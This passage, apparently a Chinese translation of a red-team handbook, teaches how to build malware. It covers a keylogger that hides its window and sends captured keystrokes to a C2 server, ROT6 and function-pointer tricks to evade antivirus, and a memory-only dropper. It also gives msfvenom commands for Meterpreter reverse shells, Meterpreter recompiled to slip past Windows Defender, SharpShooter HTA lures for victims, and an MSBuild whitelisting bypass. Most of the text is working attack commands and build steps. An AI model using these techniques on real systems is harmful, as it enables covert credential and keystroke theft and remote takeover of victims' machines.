`wParam` 的值在功能页面中指定。还有一个页面描述了 `KBDLLHOOKSTRUCT` 的成员。`lParam` 的 `KBDLLHOOKSTRUCT` 的值称为 `vkCode` 或 `Virtual-Key Code`( http://bit.ly/2EMAGpw )。这是按下的键的代码,而不是实际的字母,因为字母可能会根据键盘的语言而有所不同。`vkCode` 需要稍后转换为相应的字母。现在不要着急把参数传递给我们的键盘回调函数,因为它们将在激活 hook 时由操作系统传递。
最后,挂钩键盘的初始架构代码如下所示:https://github.com/cheetz/ceylogger/blob/master/skeleton
在查看框架代码时,需要注意的一些事项是,在回调函数中包含`pragma comment`(预处理指令),消息循环和返回 `CallNextHookEx` 行。`pragma comment` 是用于链接 User32 DLL 的编译器指令。 此 DLL 包含将要进行的大多数函数调用,因此需要进行链接。它也可以与编译器选项相关联。接下来,如果正在使用 `LowLevelKeyboardProc` 函数,则必须使用消息循环。 MSDN 声明,“此钩子在安装它的线程的上下文中调用。 通过向安装了钩子的线程发送消息来进行调用。因此,安装钩子的线程必须有一个消息循环。“[ http://bit.ly/2HomCYQ ]
返回 `CallNextHookEx` 是因为 MSDN 声明 “ 调用 `CallNextHookEx` 函数链接到下一个钩子过程是可选的,但强烈建议调用,否则已安装钩子的其他应用程序将不会收到钩子通知,因此可能会出现错误行为。所以你应该调用 `CallNextHookEx`,除非你一定要阻止其他应用程序看到通知。“[ http://bit.ly/2H0n68h ]
接下来,我们继续构建从文件句柄开始的回调函数的功能。在示例代码中,它将在 Windows 系统的 Temp 目录(C:\Windows\Temp)中创建名为 “log.txt” 的文件。 该文件配置了 `append` 参数,因为键盘记录器需要不断地将击键输出到文件。如果此临时文件夹中没有该文件,则会创建一个同名文件(log.txt)。
回到 `KBDLLHOOKSTRUCT`结构体,代码声明了一个 `KBDLLHOOKSTRUCT` 指针,然后将其分配给 `lParam`。这将允许访问每个按键的 `lParam` 内的参数。 然后代码检查 `wParam` 是否返回 `WM_KEYDOWN`,这将检查按键是否被按下。这样做是因为钩子会在按下和释放按键时触发。如果代码没有检查 `WM_KEYDOWN`,程序将每次写入两次击键。
检查按键被按下后,需要有一个 `switch`语句,用于检查 `lParam` 的 `vkCode`(虚拟键代码)是否有特殊键。某些键需要以不同的方式写入文件,例如返回键(Esc),控制键(Ctrl),移位(shfit),空格(Space)和制表键(Tab)。对于默认情况,代码需要将按键的 `vkCode` 转换为实际的字母。 执行此转换的简单方法是使用 `ToAscii` 函数。`ToAscii` 函数将包含 `vkCode`,一个 `ScanCode`,一个指向键盘状态数组的指针,一个指向将接收该字母的缓冲区的指针,以及一个 `uFlags` 的 `int` 值。`vkCode` 和 `ScanCode` 来自按键结构体,键盘状态是先前声明的字节数组,用于保存输出的缓冲区,`uFlags` 参数将设置为0。
检查是否释放了某些键是非常必要的,例如 `shift` 键。这可以通过编写另一个 `if 语句` 来检查 `WM_KEYUP`,然后使用 `switch语句` 来检查所需的键来完成。 最后,需要关闭该文件并返回 `CallNextHookEx`。回调函数如下所示:
* https://github.com/cheetz/ceylogger/blob/master/callback
此时,键盘记录器功能完全正常,但依旧有一些问题。第一个是运行程序会产生一个命令提示符的窗口,这使得程序运行非常明显,并且窗口没有任何提示输出是非常可疑的。 另一个问题是将文件放在运行该键盘记录器的同一台计算机上并不是很好。
通过使用 Windows 特定的 `WinMain` 函数入口替换标准 C 语言的 `Main` 函数入口,可以相对容易地修复有命令提示符窗口的问题。根据我的理解,之所以有效是因为 `WinMain` 是 Windows 上图形程序的入口。尽管操作系统期望你为程序创建窗口,但我们可以命令它不要创建任何窗口,因为我们有这个控件。最终,该程序只是在后台生成一个进程而不创建任何窗口。
该程序的网络编程是简单粗暴的。首先通过声明 `WSAData`( http://bit.ly/2HAiVN7 ),启动 `winsock` ,清除提示结构体以及填写相关需求来初始化 Windows `socket` 函数。就我们的示例来说,代码将使用 `AF_UNSPEC` 用于 `IPV4` 和 `SOC_STREAM` 用于 TCP 连接,并使用 `getaddrinfo` 函数使用先前的需求填充 c2 结构体。在满足所有必需参数后,可以创建 `socket`。最后,通过 `socket_connect` 函数连接到 `socket`。
连接之后,`socket_sendfile` 函数将完成大部分工作。它使用 Windows 的 `CreateFile` 函数打开日志文件的句柄,然后使用 `GetFileSizeEx` 函数获取文件大小。获得文件大小后,代码将分配该大小的缓冲区,加上一个用于填充的缓冲区,然后将该文件读入该缓冲区。 最后,我们通过 `socket` 发送缓冲区的内容。
对于服务器端,可以在 C2 服务器的3490 端口上的启动 socat 侦听器,命令启动:
```
socat:socat - TCP4-LISTEN:3490,fork
```
一旦启动监听器并且键盘记录器正在运行,你应该看到来自受害者主机的所有命令每 10 分钟被推送到你的 C2 服务器。 可以在此处找到键盘记录器的初始完整版本1:
https://github.com/cheetz/ceylogger/tree/master/version1 。
在编译 version_1.c 之前,请确保将 getaddrinfo 修改为当前的 C2 的IP 地址。编译代码:
```shell
cl version_1.c io.c
```
应该提到的最后一个函数是 `thread_func` 函数。`thread_func` 调用函数 `get_time` 来获取当前系统的分钟。然后检查该值是否可被 5 整除,因为该工具每隔 5 分钟发送一次键盘记录文件。如果它可以被 5 整除,它会设置 `socket` 并尝试连接到 C2 服务器。如果连接成功,它将发送文件并运行清理本地文件。然后循环休眠 59 秒。需要睡眠功能的原因是因为这一切都在一个固定的循环中运行,这意味着该函数将在几秒钟内获取时间,初始化连接,完成连接和发送文件。如果没有 59 秒的休眠时间,该程序最终可能会在 1 分钟的时间间隔内发送文件几十次。休眠功能允许循环等待足够长的时间以便切换到下一分钟,因此每 5 分钟仅发送一次文件。
### 混淆
有数百种不同的方法来执行混淆。虽然本章不能全部一一讲述,但我想为你提供一些基本的技巧和思路来解决绕过杀毒软件的问题。
你可能已经知道,杀毒软件会查找特定的字符串。可用于绕过杀毒软件的最简单方法之一是创建一个简单的旋转密码并移动字符串的字符。在下面的代码中,有一个解密函数,可以将所有字符串移动 6 个字符(ROT6)。这会导致杀毒软件可能无法检测到特征码。在程序开始时,代码将调用解密函数来获取字符串数组并将它们返回到本来的形式。解密函数如下所示:
```c
int decrypt(const char* string, char result[])
{
int key = 6;
int len = strlen(string);
for(int n = 0; n < len; n++)
{
int symbol = string[n];
int e_symbol = symbol - key;
result[n] = e_symbol;
}
result[len] = ‘\0’;
return 0;
}
```
你可以在此处的程序版本2中看到此示例:https://github.com/cheetz/ceylogger/tree/master/version2 。
另一种可以用来逃避杀毒软件的方法是使用函数指针调用 User32.dll 中的函数,而不是直接调用函数。为此,首先编写一个函数定义,然后使用 Windows 系统的 `GetProcAddress` 函数找到要调用的函数的地址,最后将函数定义指针指定给从 `GetProcAddress` 接收的地址。可以在此处找到如何使用函数指针调用 `SetWindowsHookEx` 函数的示例:https://github.com/cheetz/ceylogger/blob/master/version3/version_3.c#L197-L241 。
该程序的第 3 版本将前一个示例中的字符串加密与使用指针调用函数的方法相结合。有趣的是,如果你将已编译的二进制文件提交到 VirusTotal(病毒检测网站),你将不再在导入部分中看到 User32.dll。在下面的图片中,左侧图像是版本1的检测结果,右侧图像是带有调用指针的版本3的检测结果 。

你可以在以下网址找到版本3的完整源代码:https://github.com/cheetz/ceylogger/tree/master/version3 。
为了了解你是否已成功避开杀毒软件,最佳选择是始终针对实时杀毒软件系统进行测试。在真实世界的入侵活动中,我不建议使用 VirusTotal 网站,因为你的病毒样本可能会发送给不同的杀毒软件厂商。然而,它非常适合测试或者学习。对于我们的 payload,以下是 VirusTotal 比较:
对于版本1,32位,21/66(21家检测出),触发杀毒软件:
* https://www.virustotal.com/#/file/4f7e3e32f50171fa527cd1e53d33cc08ab85e7a945cf0c0fcc978ea62a44a62d/detection
* http://bit.ly/2IXfuQh
对于版本3,32位,14/69(14家检测出),触发杀毒软件:
* https://www.virustotal.com/#/file/8032c4fe2a59571daa83b6e2db09ff2eba66fd299633b173b6e372fe762255b7/detection
* http://bit.ly/2IYyM7F
最后,如果我们将版本3编译为 64 位的 payload,我们得到 1/69(仅仅一家检测出)!:
* https://www.virustotal.com/#/file/e13d0e84fa8320e310537c7fdc4619170bfdb20214baaee13daad90a175c13c0/detection
* http://bit.ly/2JNcBmc
> 译者注:根据上面的链接,译者点进去看了每一个数据,但是发现数据都有所更新,所以把上面的内容修改为和链接到的内容一致的最新数据。但是下面的图片是书上的原图,所以是老的过期的数据。下面的图片是说,将版本3编译为 64 位的 payload,得到 0/66(无一家一家检测出)的结果,但是现在已经是 1/69,也就是 69 个杀软种有一个可以检测出病毒。

**实验:**
下一步我们还可以做什么呢?有无限种可能!可以做一些小的优化比如对 log.txt 内容进行模糊/加密,或者在程序启动后启动加密套接字,然后将获得击键权限直接写入该套接字。在接收方,服务器将重建数据流并将其写入文件。 这将阻止日志数据以纯文本形式显示,就像当前一样,并且还可以防止在硬盘中留下更多的文件痕迹。
如果你想做一些大的改进,那么你可以将可执行文件转换为 DLL,然后将 DLL 注入正在运行的进程。这样可以防止进程信息显示在任务管理器中。虽然有一些程序可以显示系统中所有当前加载的 DLL,但注入 DLL 会更加隐蔽。此外,有些程序可以反射性地从内存加载 DLL 而根本不在磁盘中留下痕迹(无文件),从而进一步降低了被取证的风险。
## 本书定制的挂钩病毒(Dropper)
Dropper(挂钩病毒)是红队工具包的重要组成部分,允许你在不把程序放在受害者计算机磁盘上的情况下运行你植入的程序。不将你的植入程序保存在磁盘上会降低它们被发现的风险,从而可以供你多次使用开展工作。在本章中,我们将介绍本书定制开发的一个 dropper,它可以导入 shellcode 或仅驻留在内存中的 DLL 。
在设计 dropper 和相应的服务器时,你需要记住一些事项。dropper 的目的是成为你的武器库中的一件用完就销毁的武器,这意味着你必须假设以当前形式使用它将触发进一步活动中的检测。
为了使后续的入侵活动更容易,你需要开发一个可以重复使用的标准服务器。在该示例中,你将看到一个基本的网络实现,它允许为不同的消息注册新的处理程序(handler)。虽然此示例仅包含 `LOAD_BLOB` 消息类型的处理程序,但你可以轻松添加新处理程序以扩展功能。这样就可以搭建良好的底层架构,因为你的所有通信都已标准化。
编写 dropper 或其他任何你希望快速找到并进行对其逆向的东西的时候,有个很重要步骤就是要清理你的文本字符串。当你第一次构建软件时,或许你运气好、调试消息显示成功,这使你无需手动单步执行调试器以查看为什么会出现问题。但是,如果特定的文本字符串在最终版本中被意外地遗留下来,将使病毒分析师很容易就可以逆向你的恶意软件。很多时候,反病毒会针对一个独一无二的特定字符串或一个常量值签名。在示例中,我使用 `InfoLog()` 和 `ErrorLog()`,它们的预处理器将在发布版本上编译。使用那些宏,通过检查是否定义了_DEBUG,将指示是否包含相关调用。
本书定制 Dropper 代码:https://github.com/cheetz/thpDropper.git
### Shellcode 与 DLL
在以下示例中,你可以让 dropper 加载完整的 DLL 或 shellcode。通常对于很多公共植入文件,你可以生成一个完整的 DLL,它将下载 DLL 然后反射 DLL。让你的 dropper 直接加载 DLL 将使你无需再进行更多的 API 调用,从而保持更好的隐蔽性。由于 header 被修改,某些植入文件可能无法正确加载。如果你的一个植入文件不能正常工作并且包含一种生成 shellcode 的方法,那么这应该可以解决你的问题。这是因为它们的自定义加载器通常用于修复 header 并从 DLL 加载它。
在网上也可以找到很多可以用的 shellcode,像 shell-storm.org 这样的网站会保存为特定目的而编写的 shellcode 存档,其中一些可能会为你的入侵活动派上用场。
### 运行服务器
构建服务器很简单。 在本书自定义的 Kali 镜像上,你需要运行以下命令:
对于首次编译:
* cd /opt/
* sudo apt-get install build-essential libssl-dev cmake git
* git clone https://github.com/cheetz/thpDropper.git
* cd thpDropper/thpd
* mkdir build
* cd build
* cmake ..
* make
对于后续编译,你需要做的就是:
* cd /opt/thpd/build
* make
要运行服务器,在编译它之后,你需要输入:
* ./thpd [path to shellcode/DLL] [loadtype]
以下值当前对加载类型有效:
|0|Shellcode|这会将原始的汇编 shellcode 字节发送到客户端|
|------|------|------|
|1|DLL|这会发送一个普通的的 DLL 文件,以反射方式加载到客户端中|
虽然这些 payload(shellcode / DLL)可能是来自任何类型的 C2 工具(Metasploit/Meterpreter,Cobalt Strike 等),但是我们在示例中仅仅使用一个 Meterpreter payload。
生成一个 payload :
* 对于 Shellcode payload :
* msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT=\<PORT\> EnableStageEncoding=True -f c
* 注意,你必须使用 [msfvenom](http://www.ko0zh1.cc/2017/07/27/msfvenom%E8%AF%A6%E8%A7%A3/) 的输出,并且仅仅使用原始的汇编 shellcode(删除引号、新行和任何非 shellcode 的内容)。
* 启动服务器:./thpd ./shellcode.txt 0
* 对于 DLL payload :
* msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT=\<PORT\> EnableStageEncoding=True -f dll > msf.dll
* 启动服务器: ./thpd ./msf.dll 1
### 客户端
客户端以与服务器类似的方式运行,其中它为每种消息类型注册了一个处理程序(handler)。在启动时,它将尝试回调服务器,如果无法连接或一旦断开连接则重试 n 次,并发送消息要求加载 blob 对象。服务器将使用 `BLOB_PACKET` 进行响应,客户端将通过 `head`--> `msg` 字段识别并分派该 `BLOB_PACKET`。所有数据包必须在开始时定义 `HEAD_PACKET` 字段,否则网络处理程序将无法识别它,并将其丢弃。 使用 `BuildPacketAndSend()` 函数将正确设置头数据包,允许另一方解码它。
要构建客户端,你需要使用 `Visual Studio` 和 `Git` 。 首先将 Git 仓库( https://github.com/cheetz/thpDropper.git )克隆到一个文件夹中,然后在 `Visual Studio` 中打开 `thpDropper.sln`。确保为代码设置了正确的体系结构,如果你不需要任何调试信息,请将编译模式设置为`build for release`。完成此操作后,按 F7 键(编译快捷键),`Visual Studio` 会为你生成可执行文件。
### 配置客户端和服务器
在 `globals.cpp` 文件中可以查看大多数客户端的配置,你想要更改的三个主要配置设置是主机名、端口和数据包时间间隔。每个设置旁都有详细的注释,告诉你它们是什么。虽然你不需要更改数据包签名,但我还是得说一下:更改数据包签名将修改发送的每个数据包的前 2 个字节,用于标识它是服务器上的有效连接。如果你希望对 IP 和端口进行模糊处理,则可以编写代码以在访问它们时对其进行解密,并仅将加密版本存储在二进制文件中。
在服务器端,在 `main.cpp` 文件中,你可以修改服务器正在监听的端口。此配置在 main 函数中作为 `StartupNetworking()` 的唯一参数。如果你决定更改客户端中的数据包签名,则需要修改服务器以反映该数据包。这意味着在 `include/lib/networking.h` 文件中,`PACKET_SIGNATURE` 值要与客户端中的全局变量相匹配。
### 添加新的处理程序
设置网络代码库可以允许你轻松地添加新功能。为此,你需要使用客户端上的 `void name()` 原型或服务器上的 `void name(int conn)` 原型来创建一个回调函数。这些将被注册到你的消息类型的处理程序数组,并且在验证头数据包时调用它们。在这些函数中,你必须从 `recv` 缓冲区中读取包和相关数据。你需要调用 `recv()` 来指向数据包结构上的指针,以及该数据包的大小。这将提供关于需要从 `recv` 缓冲区中拉取多少数据的信息。在这个例子中,你将看到我们在处理程序中读取 `BLOB_PACKET` ,然后使用存储在 `packet.payloadLen` 中的值来指示我们需要进一步读取的字节数。相同的原理可以应用于其他的数据类型。如果要将包含文件路径的字符串发送到受害者计算机上的某个文件,你需要在处理程序的数据包中设置一个字段,用于描述字符串的长度,你将在发送完数据包之后发送该字符串。
### 进一步练习
虽然此代码库已经可以为你的工作提供一个可靠的基础,但你仍然可以通过多种方式自行改进。比较直接的思路是在传输层上加一个简单的加密层。你可能希望创建自己的 `send` 和 `recv` 包装器,用于在调用 `send` 和 `recv` 函数之前进行解密/加密。一种非常简单的实现方法是使用多字节异或密钥,虽然不是很安全,但至少会充分的改变你的消息,使之不易识别。另一个可能的思路是扩展 `LoadBlobHandler()` 函数,使之具有新的 `LOAD_TYPE`。使用这种新 LOAD_TYPE 的话,如果客户端以管理员身份运行,就会加载已签名的驱动程序。这可以通过使用 `CreateService()` 和 `StartService()` 这两个 Windows API 调用来完成。但是需要记住加载驱动程序需要它在磁盘上,这将触发文件系统的微型过滤器驱动程序来获取它。
## 重新编译 Metasploit/Meterpreter 以绕过杀毒软件和网络检测
我真的很想谈谈这个话题。但请注意,这将会有一些超前,所以你很可能在编译期间遇到一些问题。有很多很棒的工具,比如 Metasploit / Meterpreter,但是每个防病毒和网络入侵检测(NID)工具都为它开发了签名。我们可以尝试使用 `Shikata Ga Nai` 来混淆通过 HTTPS 传输的 payload,但也仅此而已。任何类型的混淆通常都会有一个检测的存根签名,杀毒软件会检查内存,查看特定某些位置的特殊字符串。网络流量可以通过 HTTPS 执行中间人检查。那么我们怎样才能继续使用我们喜欢的工具,同时绕过所有常见的保护措施呢?让我们以 Metasploit/Meterpreter 为例,看看我们如何绕过所有这些障碍。我们的目标是处理和解决二进制文件的杀毒软件签名(静态特征),内存运行中的特征和网络流量特征。
为了躲避所有这些检测方法,我们需要做一些事情。首先,我们需要修改 Meterpreter 的 payload,以确保不会在网络和内存中使用签名轻松检测到它们。其次,我们修改 `metsvc` 持久性模块以防止它标记反病毒。第三,我们用 `Clang` 编译部分 `metsrv`(实际的 Meterpreter payload),以防止它也标记反病毒签名。最后,我们将编写自己的 stage0 payload,下载并执行 `Meterpreter`,以绕过所有的反病毒。
使用 Clang 编译 `metsrv`( `Meterpreter` 的网络服务包装器)并删除 metsrv/metsvc-server 引用:
* http://bit.ly/2H2kaUB
修改Payload,删除像 `Mimikatz`这样的字符串:
* http://bit.ly/2IS9Hvl
修改反射 DLL 注入以删除像 `ReflectiveLoader` 这样的字符串:
* http://bit.ly/2qyWfFK
许多网络产品会检测 Meterpreter 的0/1/2级加载器。除了混淆我们的 payload,我们还可以混淆实际的 shellcode。一个例子是遍历所有 Ruby 文件以获取不同的 payload 类型,并添加随机空指令滑行区(nop sled)以避免被检测到:
> 译者注:一个空指令雪橇(NOP sled)(也被称为空指令滑行区)是在 shellcode 之前的一段很长的指令序列。参考资料: [空指令雪橇](https://book.2cto.com/201406/43586.html)
* http://bit.ly/2JKUhdx
自定义 Stage0 payload:
* http://bit.ly/2ELYkm8
**实验:**
在本实验中,我们将采用所有我们修改过的 Metasploit/Meterpreter 代码,重新编译它,并确保它可以躲避基本的杀毒软件检测。
在开始之前,请查看搭建 Metasploit 的环境设置:
* https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter
* https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment
Windows 要求:
* Visual Studio 2013(VS2013)—— 社区版就行。需要随安装时一并安装 C/C++。
* LLVM 32位 Windows版本(一定要在安装完 VS 之后再安装 LLVM 而且一定要安装 LLVM 工具链) —— 在[此地址](http://releases.llvm.org/download.html)下载 LLVM 6。
* [Windows 版本的 GNU make 工具程序](http://gnuwin32.sourceforge.net/packages/make.htm) —— 确保它位于你的路径中,或者从它的可用的已安装路径运行它。
* [Git-SCM](https://git-scm.com/)
### 如何在 Windows 上构建(build) Metasploit/Meterpreter:
首先拉取所有的 cyberspacekitten 仓库。这些文件已经针对你的实验进行了大量修改来作为 POC。然后我们需要下载框架和所有 payload:
* git clone https://github.com/cyberspacekittens/metasploit-framework
* cd metasploit-framework && git submodule init && git submodule update && cd ..
* git clone https://github.com/cyberspacekittens/metasploit-payloads
* cd metasploit-payloads && git submodule init && git submodule update && cd ..
虽然我们已经对仓库做了包括修改字符串、用 clang 编译和为 payload 添加随机空指令滑行区等这些更改,但请务必检查这两个仓库之间的 Metasploit 差异,以明确具体的更改内容。
编译 Metasploit/Meterpreter:<br>我们要做的第一件事情是重新编译我们更改后的 `metsvc` 和 `metsvc-server`。在 Visual Studio 2013 的开发者命令提示符 VS2013(Command Prompt for VS2013)中执行以下操作:
* 转到我们修改的 metsvc 的源码所在的文件夹:
* cd metasploit-framework\external\source\metsvc\src
* 使用 make 进行编译:
* “C:\Program Files (x86)\GnuWin32\bin\make.exe”
将我们新创建的二进制文件移到我们的 meterpreter 文件夹:
* copy metsvc.exe ........\data\meterpreter\
* copy metsvc-server.exe ........\data\meterpreter\
接下来,修改我们的 Meterpreter payload 并使用提供的 `.bat` 文件对其进行编译:
* cd metasploit-payloads\c\meterpreter
* make.bat
编译完所有内容后,将生成两个文件夹(x86 和 x64)。将所有已编译的 DLL 复制到 meterpreter 文件夹:
* copy metasploit-payloads\c\meterpreter\output\x86\* metasploit-framework\data\meterpreter
* copy metasploit-payloads\c\meterpreter\output\x64\* metasploit-framework\data\meterpreter
最后就是要放到服务器上了。我们现在可以将整个 metasploit-framework 文件夹放到你的 Kali 系统上并启动 HTTPS 反向处理程序(windows/x64/meterpreter/reverse_https)。
### 创建一个修改后的 Stage 0 Payload
我们需要做的最后一件事是创建一个 Stage 0 payload 来让我们的初始可执行文件绕过所有杀毒软件检测。Meterpreter 中的 `stage 0` payload 是任何漏洞利用或 payload 的第一阶段。
`stage 0` payload 是一段代码,它实现了一个简单的功能:以我们想要的方式(reverse_https,reverse_tcp,bind_tcp 等)进行连接或者监听,然后接收一个 metsrv.dll 文件。它随后将此文件加载到内存中,然后执行它。从本质上讲,任何 `Stage 0` payload 都只是一个美化的“下载并执行” payload,因为这就是所有的 Metasploit 运行的方式,所以在许多反病毒解决方案中都有针对 Metasploit 特定行为的高级签名和启发式分析——哪怕修改 shellcode 并添加花指令也仍然会因启发式分析而被标记为恶意。为了解决这个问题,我们编写了自己的 Stage 0,它执行相同的功能(在内存中下载和执行):我们复制 Meterpreter 的 reverse_https payload 的下载调用,从服务器获取 metsrv.dll,然后将其注入到内存中并执行它。
> 译者注:
> 1. 在 metasploit 里面,payload 简单可以分为三类:`single`,`stager`,`stage`。
> - `single`:实现单一、完整功能的 payload,比如说 bind_tcp 这样的功能。
> - `stager` 和 `stage` 就像 web 入侵里面提到的小马和大马一样。
>
> 由于 exploit 环境的限制,可能不能一下子把 stage 传过去,需要先传一个 stager,stager 在攻击者和攻击目标之间建立网络连接,之后再把 stage 传过去进行下一步的行动。Reflective DLL Injection 就是作为一个 stage 存在。也即是说,你已经有了和攻击目标之间的连接会话,你可以传送数据到攻击目标上,之后 meterpreter 与 target 之间的交互就都是和发送过去的反射 dll 进行交互。<br>
> 参考资料: [Meterpreter 载荷执行原理分析](https://xz.aliyun.com/t/1709)
>
>2. 关于 `stage 0` 了解更多: [探寻 Metasploit Payload 模式背后的秘密](https://www.freebuf.com/articles/system/187312.html)
这里提供的 payload 具体示例具有一些更高级的功能。这样做是为了使它成为地址无关代码(PIC),并且不需要导入。这段代码是基于 thealpiste 的代码开发的
( https://github.com/thealpiste/C_ReverseHTTPS_Shellcode )。
提供的示例 payload 执行以下操作:
* 所有代码都在内存中定位 DLL 和函数以便执行;无需导入任何模块。这是通过手动为所有使用的函数[打桩](https://blog.csdn.net/wangwencong/article/details/8189778),然后在内存中搜索它们来实现的。
* 使用 Wininet 将实际的 HTTPS 请求执行回配置的 Metasploit 处理程序。
* 接收 `metsrv.dll`,并执行 blob 数据。Metasploit 为这些文件提供服务的方式,意味着入口点是缓冲区的开头。
这个功能是与执行 msfvenom 中构建的 payload 完全相同的过程。然而,msfvenom 以一种容易被预测和检测到的方式将这些添加到模板可执行程序中,并且这种方式是不可配置的。因此,大多数杀毒软件一直可以识别到它们。但是,仅仅需要一点编码技巧,你就可以重新编写这个 payload 的功能。重写的 payload 很小,并且可以绕过当前存在的任何检测。在撰写本文时,已经测得此 payload 可以绕过所有杀毒软件,包括 Windows Defender。
创建 payload(完整的 payload 位于[这里](http://bit.ly/2ELYkm8)):
* 在 VS 2013中,打开 metasploit-payloads\c\x64_defender_bypass\x64_defender_bypass.vcxproj
* 在 x64_defender_bypass 下有一个 settings.h 文件。打开此文件并将 HOST 和 PORT 信息修改为你的 Meterpreter 处理程序(handler)信息。
* 确保将构建模式设置为 `Release` 并编译 `x64`
* 保存并构建
* 在 `metasploit-payloads\c\x64_defender_bypass\x64\Release` 下,将创建一个新的二进制文件 `x64_defender_bypass.exe`。在运行了 Windows Defender 的受害计算机上执行此 payload。当此项目构建成功,Windows Defender 不能检测到这个 payload。
你现在拥有一个深度混淆过的 Meterpreter 二进制文件和混淆过的传输层,以绕过所有默认的保护。现在这仅仅是一个让你入门的 POC。只要本书一发布,我可以预见到其中一些技术不久就会被检测出签名。你还可以采取更多措施来更好地规避检测工具。例如,你可以:
* 使用 clang 混淆工具链来构建
* 对所有字符串使用字符串加密库
* 更改 Meterpreter 入口点(目前是 Init )
* 创建一个自动化脚本,为所有 payload 类型添加空指令(nops)
* 编辑 payload 生成的实际 ruby,以便在每次运行时随机化 payload
## SharpShooter
作为红队队员,最耗时的事情之一就是创建可以躲避新一代杀毒软件和沙盒安全机制的 payload。我们一直在寻找新的方法来创建我们的初始 `stager`。一个名为 `SharpShooter` 的工具采用了许多反沙盒技术和 James Forshaw 的 DotNetToJScript 来执行 Windows 脚本格式的 shellcode(CACTUSTORCH工具—— https://github.com/mdsecactivebreach/CACTUSTORCH )。
摘自 [MDSec 网站对于 SharpShooter 的描述](https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/):“SharpShooter 支持 `staged` 和 `stageless` 这两种类型 payload 的执行。`staged` 执行可以在 HTTP/HTTPSS、DNS 或 HTTP/HTTPS 与 DNS 相结合等这些情况下进行。当一个 `staged` payload 执行时,它将尝试检索已经压缩的 `C#` 源代码文件,之后使用所选的传输技术进行 base64 编码。随后在主机上使用 .NET CodeDom 动态编译器对 `C#` 源代码进行下载和编译。然后使用反射从源代码执行所需的方法。”
让我们快速把一个示例走一遍:
* python SharpShooter.py --interactive
* 1 - For .NET v2
* Y - Staged Payload
* 1 - HTA Payload
* 可以选择使用以下防沙盒技术:
* 你可以选择你想用的技术来绕过沙盒机制从而成功的执行你的恶意软件。
* [1] Key to Domain
* [2] 确保 Domain 加入
* [3] 检查沙盒痕迹
* [4] 检查错误的 MAC 地址
* [5] 检查调试
* 1 - 网络传输
* Y - 内置 shellcode 模板
* shellcode 作为一个字节数组
* 打开一个新终端并创建一个 C# 语言的 Meterpreter payload
* msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=10.100.100.9 LPORT=8080 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai -f csharp
* 复制 `{` 和 `}` 之间的所有内容并作为字节数组提交
* 为 C# 网络传输提供 URI
* 输入攻击者机器的IP/端口和文件。示例:http://10.100.100.9/malware.payload
* 提供输出文件的文件名
* 恶意软件
* Y - 你想将 payload 嵌入到 HTML 文件中吗?
* 使用自定义(1)或预定义(2)模板
* 要进行测试,请选择任意预定义模板
* 将新创建的恶意文件移动到你的 Web 目录下
* mv output/* /var/www/html/
* 为你的 payload 建立一个 Meterpreter 处理程序(handler)
配置和开发了恶意软件后,将其移至 Web 目录(malware.hta,malware.html,malware.payload),启动 apache2 服务,然后启动你的 Meterpreter 处理程序。你现在已经做好准备,通过诱导受害者访问你的恶意站点来对其发动社会工程学攻击!下图中给出的示例是 Sharpshooter 的 SharePoint 在线模板。当受害者使用 IE/Edge 浏览器访问你的恶意网页时,HTA 会自动下载并提示运行。一旦显示了提示并选择运行的话,stager payload 就会运行,下载辅助 payload(满足沙箱控件的情况下),并在内存中执行我们的 Meterpreter payload。

补充信息:
* https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/
* https://github.com/mdsecactivebreach/SharpShooter
## 应用程序白名单绕过
我们已经讨论了在不运行 PowerShell 代码的情况下触发 PowerShell 的不同方法,但如果你无法在 Windows 系统上运行自定义二进制文件,该怎么办?“应用绕过”的概念就是查找可以执行我们 payload 的默认 Windows 二进制文件。我们一直受限于一些环境因素比如域控(DC)的锁定机制,只能进行有限的代码执行。我们可以使用一些不同的 Windows 文件来绕过这些限制,让我们来看看它们中的几个。
一个经常被讨论的可以用于绕过应用白名单的 Windows 二进制文件是 `MSBuild.exe`。什么是 `MSBuild.exe`,它有什么作用? MSBuild 是 .NET 框架中的一个默认应用,它是使用 XML 格式的项目文件构建 .NET 应用程序的平台。我们可以对 MSBuild 使用 XML 项目文件格式这个特性进行利用,我们可以使用名为 GreatSCT 的工具创建我们自己的恶意 XML 项目文件来执行 Meterpreter 会话,从而利用此特性。
[GreatSCT](https://github.com/GreatSCT/GreatSCT) 有我们可以使用的各种应用白名单绕过的方式,但我们只将介绍 MSBuild。在此示例中,我们将创建一个托管 reverse_http Meterpreter 会话的恶意 XML 文件。这将要求我们将 XML 文件写入受害系统并使用 MSBuild 来执行该 XML 文件:
* git clone https://github.com/GreatSCT/GreatSCT.git /opt/
* cd /opt/GreatSCT
* python3 ./gr8sct.py
* [4] MSBUILD/msbuild.cfg
* 填写你的主机IP[0]和端口[1]
* 生成
* 使用 Metasploit 创建一个新的 windows/meterpreter/reverse_http 的监听器

在我们的 Kali 实例中,我们使用 GreatSCT 来创建 `shellcode.xml` 文件,该文件包含构建信息和一个 Meterpreter 反向 http shell。需要将此文件移动到受害系统并使用 MSBuild 进行调用。
\*注意:我观察到 GreatSCT 项目正在 [develop 分支](https://github.com/GreatSCT/GreatSCT/tree/develop)上进行活跃的开发,其中包括 https Meterpreter 和其他应用程序白名单绕过命令执行。我估计在本书发布之前,就会被合并到 master 分支。

在 Windows 受害者计算机上执行文件调用后,使用 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe shellcode.xml` 命令,.NET 将开始构建 shellcode.xml 文件。在此过程中,将在受害者计算机上生成一个反向 http Meterpreter 会话来绕过任何应用程白名单。你可能希望编辑 shellcode.xml 文件以插入经过混淆的 payload,因为 Meterpreter 默认的 payload 很可能会触发杀毒软件。

可以使用许多种不同的方法来进行应用程序白名单绕过,光这一部分内容就足以写成一本书。以下是一些额外的资料:
* 使用 Windows 默认可执行文件的大量示例:
* https://github.com/api0cradle/UltimateAppLockerByPassList
* 使用 REGSRV32 和 PowerShell Empire:
* https://www.blackhillsinfosec.com/evade-application-whitelisting-using-regsvr32/
* 通过 Excel.Application 的 RegisterXLL() 方法执行 DLL:
* https://rileykidd.com/2017/08/03/application-whitelist-bypass-using-XLL-and-embedded-shellcode/
